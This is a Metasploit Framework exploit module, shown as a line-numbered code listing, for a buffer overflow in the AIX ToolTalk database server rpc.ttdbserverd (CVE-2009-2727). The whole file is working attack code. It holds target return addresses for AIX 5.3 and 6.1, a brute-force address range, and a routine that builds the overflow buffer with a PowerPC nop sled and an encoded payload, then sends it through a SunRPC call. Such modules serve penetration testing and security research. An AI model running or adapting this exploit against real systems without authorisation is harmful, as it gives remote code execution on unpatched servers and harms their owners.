root / modules / exploits / aix / rpc_ttdbserverd_realpath.rb @ master
History | View | Annotate | Download (6.5 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/
|
| 10 |
##
|
| 11 |
|
| 12 |
|
| 13 |
require 'msf/core'
|
| 14 |
|
| 15 |
class Metasploit3 < Msf::Exploit::Remote |
| 16 |
Rank = GreatRanking |
| 17 |
|
| 18 |
include Msf::Exploit::Remote::SunRPC |
| 19 |
include Msf::Exploit::Brute |
| 20 |
|
| 21 |
def initialize(info = {}) |
| 22 |
super(update_info(info,
|
| 23 |
'Name' => 'ToolTalk rpc.ttdbserverd _tt_internal_realpath Buffer Overflow (AIX)', |
| 24 |
'Description' => %q{ |
| 25 |
This module exploits a buffer overflow vulnerability in _tt_internal_realpath |
| 26 |
function of the ToolTalk database server (rpc.ttdbserverd). |
| 27 |
},
|
| 28 |
'Author' =>
|
| 29 |
[ |
| 30 |
'Adriano Lima <adriano[at]risesecurity.org>',
|
| 31 |
'ramon'
|
| 32 |
], |
| 33 |
'Version' => '$Revision$', |
| 34 |
'Platform' => [ 'aix' ], |
| 35 |
'References' =>
|
| 36 |
[ |
| 37 |
[ 'CVE', '2009-2727'], |
| 38 |
[ 'OSVDB', '55151' ] |
| 39 |
], |
| 40 |
'Payload' =>
|
| 41 |
{
|
| 42 |
'BadChars' => "\x00", |
| 43 |
}, |
| 44 |
'Targets' =>
|
| 45 |
[ |
| 46 |
[ |
| 47 |
'IBM AIX Version 6.1.4',
|
| 48 |
{
|
| 49 |
'Arch' => 'ppc', |
| 50 |
'Platform' => 'aix', |
| 51 |
'Ret' => 0x20099430+4096, |
| 52 |
'Addr1' => 0x2ff1ff50-8192, |
| 53 |
'AIX' => '6.1.4', |
| 54 |
'Bruteforce' =>
|
| 55 |
{
|
| 56 |
'Start' => { 'Ret' => 0x20099430-8192 }, |
| 57 |
'Stop' => { 'Ret' => 0x20099430+8192 }, |
| 58 |
'Step' => 1024 |
| 59 |
} |
| 60 |
} |
| 61 |
], |
| 62 |
[ |
| 63 |
'IBM AIX Version 6.1.3',
|
| 64 |
{
|
| 65 |
'Arch' => 'ppc', |
| 66 |
'Platform' => 'aix', |
| 67 |
'Ret' => 0x20099280+4096, |
| 68 |
'Addr1' => 0x2ff1ffd0-8192, |
| 69 |
'AIX' => '6.1.3', |
| 70 |
'Bruteforce' =>
|
| 71 |
{
|
| 72 |
'Start' => { 'Ret' => 0x20099280-8192 }, |
| 73 |
'Stop' => { 'Ret' => 0x20099280+8192 }, |
| 74 |
'Step' => 1024 |
| 75 |
} |
| 76 |
} |
| 77 |
], |
| 78 |
[ |
| 79 |
'IBM AIX Version 6.1.2',
|
| 80 |
{
|
| 81 |
'Arch' => 'ppc', |
| 82 |
'Platform' => 'aix', |
| 83 |
'Ret' => 0x20099280+4096, |
| 84 |
'Addr1' => 0x2ff1ffd0-8192, |
| 85 |
'AIX' => '6.1.2', |
| 86 |
'Bruteforce' =>
|
| 87 |
{
|
| 88 |
'Start' => { 'Ret' => 0x20099280-8192 }, |
| 89 |
'Stop' => { 'Ret' => 0x20099280+8192 }, |
| 90 |
'Step' => 1024 |
| 91 |
} |
| 92 |
} |
| 93 |
], |
| 94 |
[ |
| 95 |
'IBM AIX Version 6.1.1',
|
| 96 |
{
|
| 97 |
'Arch' => 'ppc', |
| 98 |
'Platform' => 'aix', |
| 99 |
'Ret' => 0x20099280+4096, |
| 100 |
'Addr1' => 0x2ff1ffd0-8192, |
| 101 |
'AIX' => '6.1.1', |
| 102 |
'Bruteforce' =>
|
| 103 |
{
|
| 104 |
'Start' => { 'Ret' => 0x20099280-8192 }, |
| 105 |
'Stop' => { 'Ret' => 0x20099280+8192 }, |
| 106 |
'Step' => 1024 |
| 107 |
} |
| 108 |
} |
| 109 |
], |
| 110 |
[ |
| 111 |
'IBM AIX Version 6.1.0',
|
| 112 |
{
|
| 113 |
'Arch' => 'ppc', |
| 114 |
'Platform' => 'aix', |
| 115 |
'Ret' => 0x20099280+4096, |
| 116 |
'Addr1' => 0x2ff1ffd0-8192, |
| 117 |
'AIX' => '6.1.0', |
| 118 |
'Bruteforce' =>
|
| 119 |
{
|
| 120 |
'Start' => { 'Ret' => 0x20099280-8192 }, |
| 121 |
'Stop' => { 'Ret' => 0x20099280+8192 }, |
| 122 |
'Step' => 1024 |
| 123 |
} |
| 124 |
} |
| 125 |
], |
| 126 |
[ |
| 127 |
'IBM AIX Version 5.3.10 5.3.9 5.3.8 5.3.7',
|
| 128 |
{
|
| 129 |
'Arch' => 'ppc', |
| 130 |
'Platform' => 'aix', |
| 131 |
'Ret' => 0x20096ba0+4096, |
| 132 |
'Addr1' => 0x2ff1ff14-8192, |
| 133 |
'AIX' => '5.3.9', |
| 134 |
'Bruteforce' =>
|
| 135 |
{
|
| 136 |
'Start' => { 'Ret' => 0x20096ba0-8192 }, |
| 137 |
'Stop' => { 'Ret' => 0x20096ba0+8192 }, |
| 138 |
'Step' => 1024 |
| 139 |
} |
| 140 |
} |
| 141 |
], |
| 142 |
[ |
| 143 |
'IBM AIX Version 5.3.10',
|
| 144 |
{
|
| 145 |
'Arch' => 'ppc', |
| 146 |
'Platform' => 'aix', |
| 147 |
'Ret' => 0x20096bf0+4096, |
| 148 |
'Addr1' => 0x2ff1ff14-8192, |
| 149 |
'AIX' => '5.3.10', |
| 150 |
'Bruteforce' =>
|
| 151 |
{
|
| 152 |
'Start' => { 'Ret' => 0x20096bf0-8192 }, |
| 153 |
'Stop' => { 'Ret' => 0x20096bf0+8192 }, |
| 154 |
'Step' => 1024 |
| 155 |
} |
| 156 |
} |
| 157 |
], |
| 158 |
[ |
| 159 |
'IBM AIX Version 5.3.9',
|
| 160 |
{
|
| 161 |
'Arch' => 'ppc', |
| 162 |
'Platform' => 'aix', |
| 163 |
'Ret' => 0x20096ba0+4096, |
| 164 |
'Addr1' => 0x2ff1ff14-8192, |
| 165 |
'AIX' => '5.3.9', |
| 166 |
'Bruteforce' =>
|
| 167 |
{
|
| 168 |
'Start' => { 'Ret' => 0x20096ba0-8192 }, |
| 169 |
'Stop' => { 'Ret' => 0x20096ba0+8192 }, |
| 170 |
'Step' => 1024 |
| 171 |
} |
| 172 |
} |
| 173 |
], |
| 174 |
[ |
| 175 |
'IBM AIX Version 5.3.8',
|
| 176 |
{
|
| 177 |
'Arch' => 'ppc', |
| 178 |
'Platform' => 'aix', |
| 179 |
'Ret' => 0x20096c10+4096, |
| 180 |
'Addr1' => 0x2ff1ff98-8192, |
| 181 |
'AIX' => '5.3.8', |
| 182 |
'Bruteforce' =>
|
| 183 |
{
|
| 184 |
'Start' => { 'Ret' => 0x20096c10-8192 }, |
| 185 |
'Stop' => { 'Ret' => 0x20096c10+8192 }, |
| 186 |
'Step' => 1024 |
| 187 |
} |
| 188 |
} |
| 189 |
], |
| 190 |
[ |
| 191 |
'IBM AIX Version 5.3.7',
|
| 192 |
{
|
| 193 |
'Arch' => 'ppc', |
| 194 |
'Platform' => 'aix', |
| 195 |
'Ret' => 0x20096c10+4096, |
| 196 |
'Addr1' => 0x2ff1ff98-8192, |
| 197 |
'AIX' => '5.3.7', |
| 198 |
'Bruteforce' =>
|
| 199 |
{
|
| 200 |
'Start' => { 'Ret' => 0x20096c10-8192 }, |
| 201 |
'Stop' => { 'Ret' => 0x20096c10+8192 }, |
| 202 |
'Step' => 1024 |
| 203 |
} |
| 204 |
} |
| 205 |
], |
| 206 |
[ |
| 207 |
'Debug IBM AIX Version 6.1',
|
| 208 |
{
|
| 209 |
'Arch' => 'ppc', |
| 210 |
'Platform' => 'aix', |
| 211 |
'Ret' => 0xaabbccdd, |
| 212 |
'Addr1' => 0xddccbbaa, |
| 213 |
'AIX' => '6.1.4', |
| 214 |
'Bruteforce' =>
|
| 215 |
{
|
| 216 |
'Start' => { 'Ret' => 0xaabbccdd }, |
| 217 |
'Stop' => { 'Ret' => 0xaabbccdd }, |
| 218 |
'Step' => 1024 |
| 219 |
} |
| 220 |
} |
| 221 |
], |
| 222 |
[ |
| 223 |
'Debug IBM AIX Version 5.3',
|
| 224 |
{
|
| 225 |
'Arch' => 'ppc', |
| 226 |
'Platform' => 'aix', |
| 227 |
'Ret' => 0xaabbccdd, |
| 228 |
'Addr1' => 0xddccbbaa, |
| 229 |
'AIX' => '5.3.10', |
| 230 |
'Bruteforce' =>
|
| 231 |
{
|
| 232 |
'Start' => { 'Ret' => 0xaabbccdd }, |
| 233 |
'Stop' => { 'Ret' => 0xaabbccdd }, |
| 234 |
'Step' => 1024 |
| 235 |
} |
| 236 |
} |
| 237 |
], |
| 238 |
], |
| 239 |
'DefaultTarget' => 0, |
| 240 |
'DisclosureDate' => 'Jun 17 2009')) |
| 241 |
|
| 242 |
end
|
| 243 |
|
| 244 |
def brute_exploit(brute_target) |
| 245 |
|
| 246 |
if not @aixpayload |
| 247 |
datastore['AIX'] = target['AIX'] |
| 248 |
@aixpayload = regenerate_payload.encoded
|
| 249 |
end
|
| 250 |
|
| 251 |
print_status("Trying to exploit rpc.ttdbserverd with address 0x%08x..." % brute_target['Ret']) |
| 252 |
|
| 253 |
begin
|
| 254 |
|
| 255 |
sunrpc_create('tcp', 100083, 1) |
| 256 |
|
| 257 |
if target['AIX'] =~ /6\./ |
| 258 |
buf = "A"
|
| 259 |
else
|
| 260 |
buf = "AA"
|
| 261 |
end
|
| 262 |
|
| 263 |
buf << [target['Addr1']].pack('N') * (1022 + 8) |
| 264 |
buf << [brute_target['Ret']].pack('N') * 32 |
| 265 |
|
| 266 |
if target['AIX'] =~ /6\./ |
| 267 |
buf << "AAA"
|
| 268 |
else
|
| 269 |
buf << "AA"
|
| 270 |
end
|
| 271 |
|
| 272 |
buf << "\x7f\xff\xfb\x78" * 1920 |
| 273 |
buf << @aixpayload
|
| 274 |
buf = XDR.encode(buf, 2, 0x78000000, 2, 0x78000000) |
| 275 |
|
| 276 |
print_status('Sending procedure 15 call message...')
|
| 277 |
sunrpc_call(15, buf)
|
| 278 |
|
| 279 |
sunrpc_destroy |
| 280 |
handler |
| 281 |
|
| 282 |
rescue Rex::Proto::SunRPC::RPCTimeout |
| 283 |
# print_error('RPCTimeout')
|
| 284 |
rescue EOFError |
| 285 |
# print_error('EOFError')
|
| 286 |
end
|
| 287 |
end
|
| 288 |
|
| 289 |
end
|